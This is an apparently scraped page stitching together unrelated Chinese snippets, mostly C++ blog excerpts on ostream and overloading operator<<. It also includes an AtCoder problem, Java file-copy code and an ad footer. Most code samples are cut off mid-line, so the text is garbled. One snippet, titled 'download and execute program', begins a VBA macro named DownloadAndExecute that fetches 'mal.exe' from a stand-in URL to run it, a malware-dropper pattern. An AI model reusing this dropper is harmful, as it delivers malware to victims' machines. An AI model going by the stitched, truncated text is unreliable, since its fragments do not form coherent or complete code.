讲个“惊悚的故事”,我本科所学的C++,现在高校还是那么讲的,教材几乎没啥大变化。
git clone https://github.com/changkun/modern-cpp-tutorial.git
自从在C语言的教科书中利用Hello world程序作为学习的起点之后,很多程序设计语言的教科书都沿用了这个做法。我们写过的第一个C++程序可能就是这样的。
根据前文,ostream类是c++标准输出流的一个基类,本篇详细介绍ostream类的主要成员函数用法。
// 下列代码输出什么? #include #include // typedef basic_ostream ostream; class A { private: int m1,m2; public: A(int a, int b) { m1=a;m2=b; } operator std::string() const { return "str"; } operator int() const { return 2018; } }; int main() { A a(1,2); std::cout << a; return 0; }; 答案是2018, 因为类basic_ostream有成员函数operator<<(int), 而没有成员函数operator<<(const std::string&), 优先调用同名的成员函数,故输出2018,相关源代码如下: // 名字空间std中的全局函数 /usr/include/c++/4.8.2/bits/basic_string.h: template inline basic_ostream<_CharT, _Traits>& operator <<(basic_ostream<_CharT, _Traits>& __os, const basic_string<_CharT, _Traits, _Alloc>& __str) { return __ostream_insert(__os, __str.data(), __str.size()); } // 类basic_ostream的成员函数 // std::cout为名字空间std中的类basic_ostream的一个实例 ostream: __ostream_type& basic_ostream::operator<<(int __n); // 下列代码有什么问题,如何修改? #include #include class A { public: int m1,m2; public: A(int a, int b) { m1=a;m2=b; } std::ostream& operator <<(std::ostream& os) { os << m1 << m2; return os; } }; int main() { A a(1,2); std::cout << a; return 0; }; 类basic_ostream没有成员函数“operator <<(const A&)”, 也不存在全局的: operator <<(const basic_ostream&, const A&) 而只有左操作数是自己时才会调用成员重载操作符, 都不符合,所以语法错误。 有两种修改方式: 1) 将“std::cout << a”改成“a.operator <<(std::cout)”, 2) 或定义全局的: std::ostream& operator<<(std::ostream& os, const A& a) { os << a.m1 << a.m2; return os; }
template <class _Tp, class _CharT = char, class _Traits = char_traits<_CharT> > class ostream_iterator { public: typedef _CharT char_type; typedef _Traits traits_type; typedef basic_ostream<_CharT, _Traits> ostream_type;
C++的iostream标准库介绍(3) C语言提供了格式化输入输出的方法,C++也同样,但是C++的控制符使用起来更为简单方便,在c++下有两中方法控制格式化输入输出。 1.有流对象的成员函数。 例如,下列程序以成员函数的方式控制输出的精度: //程序作者:管宁 //站点:www.cndev-lab.com //所有稿件均有版权,如要转载,请务必著名出处和作者 #include <iostream> using namespace std;
C++中输入操作符是>>,输出操作符是<<,又叫做流对象的“插入操作符”和“提取操作符“。其实这两个操作符最初是在C语言中用于整数的移位运算,到了C++中才利用操作符重载的技术将它们应用于输入、输出操作。
上面错误时,一般是因为使用C的front-end去编译C++代码。使用gcc编译C++代码,它没有链接C++的liberies.例如:
假定我们要想把某个对象里的内容进行打印输出,那么我们可以重载 ostream 类的流插入 << 运算符。
这里的第一行,#include好理解,iostream是输入输出流,包含了输入流istream和输出流ostream。 第二行using namespace std; 这里的namespace是个关键字,表示它后面的std是一个命名空间。
碎碎念 C级的部分题目相对简单一些,这道题很快AC了,小开森一把。 标签 动态规划、累积和 合集 【动态规划】累积和 题目地址 C - GeT AC https://atcoder.jp/contests/abc122/tasks/abc122_c 问题描述 image.png 入力 入力は以下の形式で標準入力から与えられる。 N Q S l1 r1 : lQ rQ 出力 Q行出力せよ。i行目に問 iへの答えを出力すること。 入力例 1 8 3 ACACTACG 3 7 2 3 1 8 出力例 1
下图中 ios 是 输入 / 输出 流 基类 , 含义是 input - output - stream ;
上代码使用成员函数重载左移运算符的局限:成员函数 p << p 不是我们想要的效果,想要cout<<p
点击上方蓝字关注我们 下载并执行程序 Private Sub DownloadAndExecute() Dim droppingURL As String Dim localPath As String Dim WinHttpReq As Object, oStream As Object Dim result As Integer droppingURL = "https://example.com/mal.exe" localPath = "c
复制文件 封装后的复制文件方法 接收参数为两个File对象,代表输入和输出文件,并声明抛出IOException异常 public static void CopyFile(File src, File dest) throws IOException; 判断是否为文件夹,如果是文件夹则抛出异常 if (src.isDirectory()) { throw new IOException("这是一个文件夹"); } 建立输入输出流 InputStream iStream = new Fil
研究长字符串快速全文检索技术,实现某电力公司新闻中心新闻稿件全文检索统计系统。 1、 设计实现适合新闻稿件的基础类库 2、 新闻稿件全文检索功能实现 3、 新闻稿件按照关键字统计查询 代码如下 Paper.h #pragma once #ifndef PAPER_H // we're here only if PAPER_H has not yet been defined #define PAPER_H // Definition of PAPER_H class and relate
输入输出是每一种编程语言必不可少的部分,c++也不例外,下面我们就来说明c++的标准输入输出的前世今生。
对于Foo来说,是不支持加法的,于此同时也是不可以直接std::cout << ,因此在编译时报一大堆错误,包含operator<<与operator+,但这并不是我们期望的错误信息,我们比较期望的是编译器给我们最直观的错误信息,即:这个结构体能不能相加。
上述 运算符重载 既可以使用 成员函数 进行重载 , 又可以使用友元函数进行重载 ;
#include<iostream> using namespace std; class Person { //利用友元使得该函数可以调用到私有的成员变量 friend ostream & operator<<(ostream& cout, Person& p); public: //构造方法,由于成员变量是private,提供一个构造函数初始化 Person(int i, int j) :a(i), b(j) {} private: int a; int
虽然iostream类型不是容器,但标准库定义了可以用于这些IO类型对象的迭代器。
流输入输出运算符 >> << 比较简单,C++提供了固定的格式,语法上并不是非常难,你只需要记住 istream 和 ostream 这两个类就可以了。本文使用了友元函数方式来实现。具体实现的代码如下,请注意看返回 istream 和 ostream 引用的原因是为了可以使用连续的>>或<<操作符来输入输出。
先++,后输出是指先运行成员函数前置递增运算符重载,再运行函数左移运算符重载。所以先++完成后再传入左移运算符重载函数中,要么是引用传递,要么是拷贝传递,上图使用的是拷贝传递,都可。
需要 3 个随机访问迭代器 first、second 和 last,[first,second) 会包含降序序列 [first,last) 中最小的 second-first 个元素。
每个函数前面都要加上 template <typename T> 类型参数列表声明 ,
时钟类CClock有时、分、秒;人民币类CRmb有元、角、分三个数据成员。试为这种类型的类对象定义一个两两相加的函数模板add,包括三个参数:2个对象和一个int表示进制。(要求不能用函数重载的方法)
在介绍自定义输出机制之前,我们先了解下AssertResult类型函数。(转载请指明出于breaksoftware的csdn博客)
我们可以对<<运算符进行重载,这样做的好处是我们可以直接使用cout来进行输出。有些类似于Java当中实现toString方法。虽然概念简单,但是实际实现要稍稍复杂一些,我们一点点来说。
上一篇博客 【C++】泛型编程 ⑨ ( 类模板的运算符重载 - 函数声明 和 函数实现 写在同一个类中 | 类模板 的 外部友元函数问题 ) 实现了第一种情况 , 类模板 的 函数声明 与 函数实现 都写在同一个类中 , 也就是没有分开进行编码 ;
左移运算符重载 #include<iostream> using namespace std; class wood { friend ostream& operator<<(ostream& cout, wood& d); public: wood(int num):num(num){} private: int num; }; //左移运算符重载只能用全局函数 ostream& operator<<(ostream& cout, wood& d) { cout << "木头的数量为" << d.
以String类为例实现其成员函数 class String { //友元函数重载运算符 friend ostream& operator<<(ostream &out,String& str); friend istream& operator>>(istream& in, String& str); public: //通用构造函数 String(const char* str) { if(!str) //对m_data加NULL判断 { length = 0; m_da
是不是有点像Python的print一样简单,但这背后实现也就仅仅不到100行的代码,本节来实现这种功能。
一、迭代器适配器 反向迭代器 插入迭代器 IO流迭代器 其中反向迭代器可以参考以前的文章。 二、插入迭代器 插入迭代器实际上是一个输出迭代器(*it=; ++) back_inse
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
C.136: Use multiple inheritance to represent the union of implementation attributes
1.Target /*综合运用类、继承、多态等技术,完成一个公司人员管理类层次结构,用来描述人员信息等, 重载各种运算符,完成数据库内容的赋值、添加、工资增长等。*/ /*修改18-5-16*/ 2.Code #include <iostream> #include <cstring> #include <string> #include <cstdio> #include <cstdlib> #define PE const string name, const int age,const str
我们可以使用cout对一个int,string等等类型的数据进行输出,我们却不可以对我们自己定义的一个类的对象进行直接输出,因为我们这个类是没有”<<”运算符的。
C.135: Use multiple inheritance to represent multiple distinct interfaces
现在我们要制作一种盒子,它能够收纳多种类型的元素,比如int、double、char、string等等。
在博客 【C++】泛型编程 ⑨ ( 类模板的运算符重载 - 函数声明 和 函数实现 写在同一个类中 | 类模板 的 外部友元函数问题 ) 中实现了第一种情况 , 类模板 的 函数声明 与 函数实现 都写在同一个类中 , 也就是没有分开进行编码 ;
timer的计数使用了标准头文件<ctime>里的clock()函数,它返回自进程启动以来的clock计数,每秒的clock数由宏CLOCKS_PER_SEC定义,CLOCKS_PER_SEC的值因操作系统而不同,在win32下是1000,而在linux下则是1000000,页就是说在win32下的精度是毫秒,在linux下的精度是微妙。
在上一篇博客 中 , 定义了 可拷贝 与 可打印 的 自定义类 Student , 可以被存放到 数组类模板 中 ;
版权声明:本文为博主原创文章,转载请注明源地址。 https://blog.csdn.net/10km/article/details/51226657
递增运算符重载 #include <iostream> using namespace std; //声明类 class wood { friend ostream& operator<<(ostream& cout, wood myint); public: //默认构造函数将m_Num初始化为0 wood() { m_Num = 0; } //前置递增++ //如果不用引用,就是调用重载函数,调用完之后就销毁(因为放在栈区) //引用是别名,调用地址 wood& opera
在《Opentelemetry-Language APIs & SDKs-C+±Getting Started》一文中,介绍了如果编译一个可以发出Trace遥测数据的C++项目。虽然过程很详细,但是在我的环境下,编译出现了问题。本文将介绍分析并解决该问题的过程。
使用ld链接目标文件生成可执行文件,用于取代命令g++,仅仅用于学习ld命令的使用,不用于实际的项目编译。
左移运算符重载 , 可参考 【C++】运算符重载 ⑧ ( 左移运算符重载 | 友元函数 / 成员函数 实现运算符重载 | 类对象 使用 左移运算符 ) 博客 ;
领取专属 10元无门槛券
手把手带您无忧上云